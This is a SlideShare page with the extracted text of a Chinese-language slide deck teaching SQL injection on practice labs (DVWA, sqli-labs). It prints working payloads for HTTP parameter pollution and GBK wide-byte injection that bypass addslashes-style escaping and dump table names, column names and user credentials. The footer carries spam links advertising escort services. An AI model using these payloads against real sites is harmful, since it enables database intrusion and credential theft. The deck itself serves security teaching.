SlideShare a Scribd company logo
1 of 19
想知道嗎? 2020/12/03
Jeff
1/2/2021
0
Metasploitable
Dvwa 的 SQL-INJECTION
Sqli-labs的 SQL-INJECTION
HPP
寬字節注入
 繞過 Preg_place()
 繞過 addslashes
1/2/2021 1
1/2/2021 2
 Linux Based-Vulnerability machine
今天會講到的應用程式
1/2/2021 3
 Damn Vulnerable Web Application
https://hackmd.io/@jeff14994/ByWjCHPII#/
1/2/2021 4
 Sqli-Injection 漏洞的 Application
OS: 千萬不要把 Sqli-Labs 整合到 Metasploitable…
1/2/2021 5
https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf
1/2/2021 6
https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf
POST & GET 都是解析前一個參數
1/2/2021 7
Sqli-labs
Less-29/Login.php
tomcat 作為 WAF
apache 處理 sql 查詢
1/2/2021 8
Less-29/Login.php
1/2/2021 9
Less-29/Login.php
Payload:
?id=1&id=-1' union select 1,database(),3--+
1/2/2021 10
Sqli-labs
MySQL -> 使用 GBK (寬字節)編碼時,兩個字節為一個漢字
- 使用 %df 吃掉  %df%27
%df%5c%27
addslash
GBK 編碼
運%27 得到 ‘
1/2/2021 11
Less-32/index.php -> preg_replace()
Sqli-labs
1/2/2021 12
Less-33/index.php -> 繞過 addslashes()
Sqli-labs
1/2/2021 13
Less-36/index.php -> 繞 my_real_escape_string()
Sqli-labs
1/2/2021 14
Less-32/index.php
Less-33/index.php
Less-36/index.php
Payload:
爆 Table
?id=-1%df' union select 1,
(select group_concat(table_name) from information_schema.tables where
table_schema=(select database())),
3--+
爆 Column
?id=-1%df' union select 1,
(select group_concat(column_name) from information_schema.columns where
table_schema=(select database()) and table_name=(select table_name from
information_schema.tables where table_schema=(select database()) limit 3,1)),
3--+
爆內容:
?id=-1%df' union select 1,
(select group_concat(username,0x3a,password) from users),3--+
0x3a 表冒號
1/2/2021 15
Sql-injection 最難的地方在找注入點
各種蛛絲馬跡找 Server 的回傳
1/2/2021
16
1/2/2021
17
1/2/2021
18

More Related Content

Similar to Sql injection

Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)
Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)
Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)taiwanweb20
 
Heap overflow
Heap overflowHeap overflow
Heap overflow@x0mg
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php SecurityDave Ross
 
Ruby on Rails Tutorial Part I
Ruby on Rails Tutorial Part IRuby on Rails Tutorial Part I
Ruby on Rails Tutorial Part IWei Jen Lu
 
OSI attack
OSI attackOSI attack
OSI attack@x0mg
 
Ethesys2.1 系統建置說明書
Ethesys2.1 系統建置說明書Ethesys2.1 系統建置說明書
Ethesys2.1 系統建置說明書Bo-Yi Wu
 
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...Priyanka Aash
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processguest3379bd
 
Peeling The Onion For Ipdc Forum09 Mix Ver1
Peeling The Onion For Ipdc Forum09 Mix Ver1Peeling The Onion For Ipdc Forum09 Mix Ver1
Peeling The Onion For Ipdc Forum09 Mix Ver1hutuworm
 
High Performance Kick Ass Web Apps (JavaScript edition)
High Performance Kick Ass Web Apps (JavaScript edition)High Performance Kick Ass Web Apps (JavaScript edition)
High Performance Kick Ass Web Apps (JavaScript edition)Stoyan Stefanov
 
Oracle Cloudで実現できる High Performance Computing 最新情報
Oracle Cloudで実現できる High Performance Computing 最新情報Oracle Cloudで実現できる High Performance Computing 最新情報
Oracle Cloudで実現できる High Performance Computing 最新情報オラクルエンジニア通信
 
080620 Identity Conference #2 hiroki
080620 Identity Conference #2 hiroki080620 Identity Conference #2 hiroki
080620 Identity Conference #2 hirokiHiroki Itoh
 
Windows 7兼容性系列课程(1):Windows 7兼容性概述
Windows 7兼容性系列课程(1):Windows 7兼容性概述Windows 7兼容性系列课程(1):Windows 7兼容性概述
Windows 7兼容性系列课程(1):Windows 7兼容性概述Chui-Wen Chiu
 
다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...
다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...
다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...Amazon Web Services Korea
 
Angular JS blog tutorial
Angular JS blog tutorialAngular JS blog tutorial
Angular JS blog tutorialClaude Tech
 

Similar to Sql injection (20)

Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)
Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)
Web 2.0 架站工具—AJAX By Examples-馮彥文(Tempo)
 
Heap overflow
Heap overflowHeap overflow
Heap overflow
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php Security
 
Hack and Slash: Secure Coding
Hack and Slash: Secure CodingHack and Slash: Secure Coding
Hack and Slash: Secure Coding
 
Ruby on Rails Tutorial Part I
Ruby on Rails Tutorial Part IRuby on Rails Tutorial Part I
Ruby on Rails Tutorial Part I
 
OSI attack
OSI attackOSI attack
OSI attack
 
Ethesys2.1 系統建置說明書
Ethesys2.1 系統建置說明書Ethesys2.1 系統建置說明書
Ethesys2.1 系統建置說明書
 
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
Peeling The Onion For Ipdc Forum09 Mix Ver1
Peeling The Onion For Ipdc Forum09 Mix Ver1Peeling The Onion For Ipdc Forum09 Mix Ver1
Peeling The Onion For Ipdc Forum09 Mix Ver1
 
High Performance Kick Ass Web Apps (JavaScript edition)
High Performance Kick Ass Web Apps (JavaScript edition)High Performance Kick Ass Web Apps (JavaScript edition)
High Performance Kick Ass Web Apps (JavaScript edition)
 
Install Moodle
Install MoodleInstall Moodle
Install Moodle
 
4-identifying-problems.pdf
4-identifying-problems.pdf4-identifying-problems.pdf
4-identifying-problems.pdf
 
Implementing SSH in Java
Implementing SSH in JavaImplementing SSH in Java
Implementing SSH in Java
 
Oracle Cloudで実現できる High Performance Computing 最新情報
Oracle Cloudで実現できる High Performance Computing 最新情報Oracle Cloudで実現できる High Performance Computing 最新情報
Oracle Cloudで実現できる High Performance Computing 最新情報
 
080620 Identity Conference #2 hiroki
080620 Identity Conference #2 hiroki080620 Identity Conference #2 hiroki
080620 Identity Conference #2 hiroki
 
Windows 7兼容性系列课程(1):Windows 7兼容性概述
Windows 7兼容性系列课程(1):Windows 7兼容性概述Windows 7兼容性系列课程(1):Windows 7兼容性概述
Windows 7兼容性系列课程(1):Windows 7兼容性概述
 
Os Furlong
Os FurlongOs Furlong
Os Furlong
 
다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...
다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...
다양한 업무에 적합한 AWS의 스토리지 서비스 알아보기 – 김상현, AWS 솔루션즈 아키텍트:: AWS Builders Online Ser...
 
Angular JS blog tutorial
Angular JS blog tutorialAngular JS blog tutorial
Angular JS blog tutorial
 

Recently uploaded

Architect Hassan Khalil Portfolio for 2024
Architect Hassan Khalil Portfolio for 2024Architect Hassan Khalil Portfolio for 2024
Architect Hassan Khalil Portfolio for 2024hassan khalil
 
HARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICS
HARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICSHARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICS
HARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICSRajkumarAkumalla
 
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...Dr.Costas Sachpazis
 
GDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentationGDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentationGDSCAESB
 
SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )Tsuyoshi Horigome
 
Biology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptxBiology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptxDeepakSakkari2
 
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube ExchangerStudy on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube ExchangerAnamika Sarkar
 
College Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service NashikCollege Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service NashikCall Girls in Nagpur High Profile
 
IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...
IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...
IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...RajaP95
 
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Serviceranjana rawat
 
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur EscortsCall Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur EscortsCall Girls in Nagpur High Profile
 
Introduction and different types of Ethernet.pptx
Introduction and different types of Ethernet.pptxIntroduction and different types of Ethernet.pptx
Introduction and different types of Ethernet.pptxupamatechverse
 
APPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICS
APPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICSAPPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICS
APPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICSKurinjimalarL3
 
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escortsranjana rawat
 
Call Girls Delhi {Jodhpur} 9711199012 high profile service
Call Girls Delhi {Jodhpur} 9711199012 high profile serviceCall Girls Delhi {Jodhpur} 9711199012 high profile service
Call Girls Delhi {Jodhpur} 9711199012 high profile servicerehmti665
 
Internship report on mechanical engineering
Internship report on mechanical engineeringInternship report on mechanical engineering
Internship report on mechanical engineeringmalavadedarshan25
 

Recently uploaded (20)

★ CALL US 9953330565 ( HOT Young Call Girls In Badarpur delhi NCR
★ CALL US 9953330565 ( HOT Young Call Girls In Badarpur delhi NCR★ CALL US 9953330565 ( HOT Young Call Girls In Badarpur delhi NCR
★ CALL US 9953330565 ( HOT Young Call Girls In Badarpur delhi NCR
 
9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf
9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf
9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf
 
Architect Hassan Khalil Portfolio for 2024
Architect Hassan Khalil Portfolio for 2024Architect Hassan Khalil Portfolio for 2024
Architect Hassan Khalil Portfolio for 2024
 
Call Us -/9953056974- Call Girls In Vikaspuri-/- Delhi NCR
Call Us -/9953056974- Call Girls In Vikaspuri-/- Delhi NCRCall Us -/9953056974- Call Girls In Vikaspuri-/- Delhi NCR
Call Us -/9953056974- Call Girls In Vikaspuri-/- Delhi NCR
 
HARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICS
HARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICSHARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICS
HARDNESS, FRACTURE TOUGHNESS AND STRENGTH OF CERAMICS
 
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
Structural Analysis and Design of Foundations: A Comprehensive Handbook for S...
 
GDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentationGDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentation
 
SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )
 
Biology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptxBiology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptx
 
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube ExchangerStudy on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
 
College Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service NashikCollege Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
 
DJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINE
DJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINEDJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINE
DJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINE
 
IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...
IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...
IMPLICATIONS OF THE ABOVE HOLISTIC UNDERSTANDING OF HARMONY ON PROFESSIONAL E...
 
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
 
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur EscortsCall Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
 
Introduction and different types of Ethernet.pptx
Introduction and different types of Ethernet.pptxIntroduction and different types of Ethernet.pptx
Introduction and different types of Ethernet.pptx
 
APPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICS
APPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICSAPPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICS
APPLICATIONS-AC/DC DRIVES-OPERATING CHARACTERISTICS
 
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
 
Call Girls Delhi {Jodhpur} 9711199012 high profile service
Call Girls Delhi {Jodhpur} 9711199012 high profile serviceCall Girls Delhi {Jodhpur} 9711199012 high profile service
Call Girls Delhi {Jodhpur} 9711199012 high profile service
 
Internship report on mechanical engineering
Internship report on mechanical engineeringInternship report on mechanical engineering
Internship report on mechanical engineering
 

Sql injection